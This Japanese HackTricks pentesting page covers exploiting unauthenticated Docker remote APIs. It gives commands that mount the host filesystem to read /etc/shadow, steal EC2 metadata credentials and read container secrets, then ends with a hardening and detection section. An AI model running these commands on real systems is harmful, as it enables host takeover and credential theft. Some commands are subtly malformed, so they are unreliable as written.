hacktricks/network-services-pentesting/2375-pentesting-docker.md

321 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 2375, 2376 Dockerのペンテスト
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォロー**する。
- **ハッキングテクニックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
## Dockerの基礎
### 何ですか
Dockerプラットフォームは、連続して高速な革新を実現する業界をリードするコンテナプラットフォームであり、組織がレガシーから次に来るものまでの任意のアプリケーションをシームレスに構築して共有し、どこでも安全に実行できるようにします。
### 基本的なDockerアーキテクチャ
この情報は[こちら](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)からです。
- [containerd](http://containerd.io)は、コンテナのイメージの転送/ストレージからコンテナの実行、監視、ネットワーキングまでの完全なコンテナライフサイクルを**管理**できるコンテナランタイムです。**containerdについての詳細は以下にあります。**
- container-shimはヘッドレスコンテナを処理し、つまり、runcがコンテナを初期化したら、runcはコンテナをcontainer-shimに引き渡し、中間者として機能します。
- [runc](http://runc.io)は、OCI仕様に準拠する軽量なユニバーサルランタイムコンテナであり、**runcはOCI仕様に従ってコンテナを生成および実行するためにcontainerdによって使用されます**。これはまた、libcontainerの再パッケージングです。
- [grpc](http://www.grpc.io)は、containerdとdocker-engineの間の通信に使用されます。
- [OCI](https://www.opencontainers.org)は、ランタイムおよびイメージのOCI仕様を維持しています。現在のDockerバージョンはOCIイメージおよびランタイム仕様をサポートしています。
![runC, containerD](https://i.stack.imgur.com/5aXF6.png)
### 基本的なコマンド
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
docker pull registry:5000/alpine #Download the image
docker inspect <containerid> #Get info of the contaienr
docker network ls #List network info
docker exec -it <containerid> /bin/sh #Get shell inside a container
docker commit <cotainerid> registry:5000/name-container #Update container
docker export -o alpine.tar <containerid> #Export container as tar file
docker save -o ubuntu.tar <image> #Export an image
docker ps -a #List running and stopped containers
docker stop <containedID> #Stop running container
docker rm <containerID> #Remove container ID
docker image ls #List images
docker rmi <imgeID> #Remove image
docker system prune -a
#This will remove:
# - all stopped containers
# - all networks not used by at least one container
# - all images without at least one container associated to them
# - all build cache
```
### Containerd
Containerdは、DockerやKubernetesだけでなく、Linux、Windows、Solaris、その他のOSでコンテナを実行するために**シスコールやOS固有の機能を抽象化**したいと考えている他のコンテナプラットフォームによって使用されるように設計されました。これらのユーザーを念頭に置いて、containerdには必要なものだけが含まれ、不要なものは含まれないようにしたいと考えています。現実的にはこれは不可能ですが、少なくともそれが私たちが目指すことです。**ネットワーキングなどはcontainerdの対象外**です。これは、分散システムを構築する際、ネットワーキングが非常に中心的な側面であるためです。SDNやサービスディスカバリが今日では、ネットワーキングはLinux上のnetlink呼び出しを抽象化するよりもプラットフォーム固有のものです。
DockerはContainerdを使用していますが、Dockerが提供する機能の一部しか提供していません。たとえば、ContainerDにはDockerのネットワーク管理機能がなく、ContainerDだけを使用してDockerスワームを作成することはできません。
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
ctr images list #List images
ctr container create registry:5000/alpine:latest alpine #Create container called alpine
ctr container list #List containers
ctr container info <containerName> #Get container info
ctr task start <containerName> #You are given a shell inside of it
ctr task list #Get status of containers
ctr tasks attach <containerName> #Get shell in running container
ctr task pause <containerName> #Stop container
ctr tasks resume <containerName> #Resume cotainer
ctr task kill -s SIGKILL <containerName> #Stop running container
ctr container delete <containerName>
```
### Podman
Red Hatが維持管理している、オープンソースでOCI[Open Container Initiative](https://github.com/opencontainers)準拠のコンテナエンジンであるPodmanは、Dockerとは異なる特徴を持っています。その特徴は、デーモンを必要とせず、ルートアクセスが不要なコンテナをサポートしていることです。両ツールの主な機能は、イメージとコンテナの管理です。Podmanの注目すべき目標の1つは、DockerのAPIとの互換性を持つことであり、これにより、ほとんどのDocker CLIコマンドをPodman内で使用できます。
Podmanエコシステム内には、BuildahとSkopeoという2つの追加ツールが存在します。Buildahはコンテナイメージを構築するためのCLIツールとして機能し、Skopeoはプッシュ、プル、またはインスペクトなどのイメージ操作に使用されます。これらのツールとPodmanとの統合に関する詳細情報については、[GitHubページ](https://github.com/containers/buildah/tree/master/docs/containertools)を参照してください。
**主な違い**
DockerとPodmanの最も重要な違いは、それらのアーキテクチャ設計にあります。Dockerはクライアントサーバーモデルで動作し、イメージの構築とコンテナの実行を担当するバックグラウンドデーモンにDocker CLIを使用する必要があり、これはルート権限で動作します。一方、Podmanはデーモンレスのアーキテクチャを採用しており、ルートアクセスを必要とせずに初期化ユーザーの権限でコンテナを実行できます。この設計により、Podmanのユーザーは共有デーモンを介したCLI通信なしに自分自身のコンテナのみにアクセスできます。
デーモンなしでバックグラウンドでコンテナを操作するために、Podmanは**systemd**と統合しており、systemdユニットを介してコンテナの管理を可能にしています。この統合はPodmanのバージョンによって異なり、既存のコンテナとまだ作成されていないコンテナの両方のユニットを生成し、systemdのコンテナ内での動作を容易にします。一方、Dockerは通常、デーモンプロセス管理のためにsystemdに依存しています。
もう1つの重要な違いは、コンテナの実行方法です。Podmanは、コンテナをデーモンではなく初期化ユーザーの権限で実行できます。これにより、ルートアクセスなしで初期化できるrootlessコンテナの概念が導入され、コンテナ侵害の潜在的な影響を制限することで、セキュリティ上の利点が提供されます。rootlessコンテナにより、侵害されたコンテナの攻撃者はホスト上の通常のユーザーの権限のみを持ち、初期化ユーザーの権限を超える権限の昇格を防ぎ、セキュリティを向上させます。
```bash
podman --version
podman info
pdoman images ls
podman ls
```
{% endhint %}
## 基本情報
リモートAPIは、有効になっている場合、デフォルトで2375ポートで実行されます。デフォルトでは認証が必要ないため、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/(ルートディレクトリ)をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。
**デフォルトポート:** 2375
```
PORT STATE SERVICE
2375/tcp open docker
```
## 列挙
### 手動
Docker APIを列挙するためには、`docker`コマンドや次の例のように`curl`を使用できます。
```bash
#Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version
{"Platform":{"Name":"Docker Engine - Community"},"Components":[{"Name":"Engine","Version":"19.03.1","Details":{"ApiVersion":"1.40","Arch":"amd64","BuildTime":"2019-07-25T21:19:41.000000000+00:00","Experimental":"false","GitCommit":"74b1e89","GoVersion":"go1.12.5","KernelVersion":"5.0.0-20-generic","MinAPIVersion":"1.12","Os":"linux"}},{"Name":"containerd","Version":"1.2.6","Details":{"GitCommit":"894b81a4b802e4eb2a91d1ce216b8817763c29fb"}},{"Name":"runc","Version":"1.0.0-rc8","Details":{"GitCommit":"425e105d5a03fabd737a126ad93d62a9eeede87f"}},{"Name":"docker-init","Version":"0.18.0","Details":{"GitCommit":"fec3683"}}],"Version":"19.03.1","ApiVersion":"1.40","MinAPIVersion":"1.12","GitCommit":"74b1e89","GoVersion":"go1.12.5","Os":"linux","Arch":"amd64","KernelVersion":"5.0.0-20-generic","BuildTime":"2019-07-25T21:19:41.000000000+00:00"}
#Using docker
docker -H open.docker.socket:2375 version #Get version
Client: Docker Engine - Community
Version: 19.03.1
API version: 1.40
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:21:05 2019
OS/Arch: linux/amd64
Experimental: false
Server: Docker Engine - Community
Engine:
Version: 19.03.1
API version: 1.40 (minimum version 1.12)
Go version: go1.12.5
Git commit: 74b1e89
Built: Thu Jul 25 21:19:41 2019
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.2.6
GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb
runc:
Version: 1.0.0-rc8
GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f
docker-init:
Version: 0.18.0
GitCommit: fec3683
```
**リモートDocker APIに`docker`コマンドで接続**できる場合、サービスとやり取りするために[**以前にコメントされた**コマンド](2375-pentesting-docker.md#basic-commands)を**実行**できます。
{% hint style="info" %}
`export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**使用せず**にできます。
{% endhint %}
#### 速い特権昇格
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
#### Curl
時々、**TLS**エンドポイントに**2376**が表示されます。dockerクライアントで接続できないことがありますが、curlを使用して問題なくdocker APIにアクセスできます。
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'
#Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up)
curl -s insecure https://tlsopen.docker.socket:2376/secrets | jq
#Check what is mounted
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'
#Get the output by starting the exec
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'
#Cat the mounted secret
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'
#List service (If you have secrets, its also worth checking out services in case they are adding secrets via environment variables)
curl -s insecure https://tls-opendocker.socket:2376/services | jq
#Creating a container that has mounted the host file system and read /etc/shadow
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'
curl insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'
#Stop the container
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop
#Delete stopped containers
curl insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune
```
### 自動
```bash
msf> use exploit/linux/http/docker_daemon_tcp
nmap -sV --script "docker-*" -p <PORT> <IP>
```
## Compromising
以下のページでは、**Dockerコンテナから脱出する方法**を見つけることができます:
{% content-ref url="../linux-hardening/privilege-escalation/docker-security/" %}
[docker-security](../linux-hardening/privilege-escalation/docker-security/)
{% endcontent-ref %}
これを悪用すると、コンテナから脱出することが可能であり、リモートマシンで弱いコンテナを実行し、そこから脱出してマシンを侵害することができます。
```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow
```
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py)
## 特権昇格
ホスト内でDockerを使用している場合は、[**特権昇格を試みるためにこの情報を読んでください**](../linux-hardening/privilege-escalation/#writable-docker-socket)。
## 実行中のDockerコンテナ内の秘密の発見
```bash
docker ps [| grep <kubernetes_service_name>]
docker inspect <docker_id>
```
**env**(環境変数セクション)をチェックしてシークレットを見つけることができます:
- パスワード。
- IPアドレス。
- ポート。
- パス。
- その他...。
ファイルを抽出したい場合:
```bash
docker cp <docket_id>:/etc/<secret_01> <secret_01>
```
## Dockerのセキュリティ強化
### Dockerのインストールと使用のセキュリティ強化
* 現在のDockerインストールを調査するために[https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security)ツールを使用できます。
* `./docker-bench-security.sh`
* 現在のDockerインストールを調査するために[https://github.com/kost/dockscan](https://github.com/kost/dockscan)ツールを使用できます。
* `dockscan -v unix:///var/run/docker.sock`
* 異なるセキュリティオプションで実行される場合のコンテナの権限を調べるために[https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained)ツールを使用できます。これは、コンテナを実行する際に一部のセキュリティオプションを使用することの影響を知るのに役立ちます:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
### Dockerイメージのセキュリティ強化
* 他のDockerイメージをスキャンして脆弱性を見つけるために[https://github.com/quay/clair](https://github.com/quay/clair)のDockerイメージを使用できます。
* `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"`
* `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image`
### Dockerfileのセキュリティ強化
* Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter)ツールを使用できます。各ミス構成にはIDが割り当てられ、それぞれの修正方法は[https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md)で見つけることができます。
* `dockerfilelinter -f Dockerfile`
![](<../.gitbook/assets/image (418).png>)
* Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/replicatedhq/dockerfilelint](https://github.com/replicatedhq/dockerfilelint)ツールを使用できます。
* `dockerfilelint Dockerfile`
![](<../.gitbook/assets/image (419).png>)
* Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/RedCoolBeans/dockerlint](https://github.com/RedCoolBeans/dockerlint)ツールを使用できます。
* `dockerlint Dockerfile`
![](<../.gitbook/assets/image (420).png>)
* Dockerfileを検査し、さまざまなミス構成を見つけるために[https://github.com/hadolint/hadolint](https://github.com/hadolint/hadolint)ツールを使用できます。
* `hadolint Dockerfile`
![](<../.gitbook/assets/image (421).png>)
### 疑わしいアクティビティのロギング
* 実行中のコンテナで疑わしい動作を検出するために[https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco)ツールを使用できます。
* 次のチャンクで**Falcoがカーネルモジュールをコンパイルして挿入**する方法に注目してください。その後、ルールを読み込み、**疑わしいアクティビティを記録**を開始します。この場合、特権コンテナが2つ開始され、そのうち1つが機密マウントを持っていること、そして数秒後に1つのコンテナ内でシェルが開かれたことが検出されました。
```
docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco
* Setting up /usr/src links from host
* Unloading falco-probe, if present
* Running dkms install for falco
Kernel preparation unnecessary for this kernel. Skipping...
Building module:
cleaning build area......
make -j3 KERNELRELEASE=5.0.0-20-generic -C /lib/modules/5.0.0-20-generic/build M=/var/lib/dkms/falco/0.18.0/build.............
cleaning build area......
DKMS: build completed.
falco-probe.ko:
Running module version sanity check.
modinfo: ERROR: missing module or filename.
- Original module
- No original module exists within this kernel
- Installation
- Installing to /lib/modules/5.0.0-20-generic/kernel/extra/
mkdir: cannot create directory '/lib/modules/5.0.0-20-generic/kernel/extra': Read-only file system
cp: cannot create regular file '/lib/modules/5.0.0-20-generic/kernel/extra/falco-probe.ko': No such file or directory
depmod...
DKMS: install completed.
* Trying to load a dkms falco-probe, if present
falco-probe found and loaded in dkms
2021-01-04T12:03:20+0000: Falco initialized with configuration file /etc/falco/falco.yaml
2021-01-04T12:03:20+0000: Loading rules from file /etc/falco/falco_rules.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/falco_rules.local.yaml:
2021-01-04T12:03:22+0000: Loading rules from file /etc/falco/k8s_audit_rules.yaml:
2021-01-04T12:03:24+0000: Starting internal webserver, listening on port 8765
2021-01-04T12:03:24.646959000+0000: Notice Privileged container started (user=<NA> command=container:db5dfd1b6a32 laughing_kowalevski (id=db5dfd1b6a32) image=ubuntu:18.04)
2021-01-04T12:03:24.664354000+0000: Notice Container with sensitive mount started (user=<NA> command=container:4822e8378c00 xenodochial_kepler (id=4822e8378c00) image=ubuntu:modified mounts=/:/host::true:rslave)
2021-01-04T12:03:24.664354000+0000: Notice Privileged container started (user=root command=container:4443a8daceb8 focused_brahmagupta (id=4443a8daceb8) image=falco:latest)
2021-01-04T12:04:56.270553320+0000: Notice A shell was spawned in a container with an attached terminal (user=root xenodochial_kepler (id=4822e8378c00) shell=bash parent=runc cmdline=bash terminal=34816 container_id=4822e8378c00 image=ubuntu)
```
### Dockerの監視
Dockerを監視するためにauditdを使用できます。
# 参考文献
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)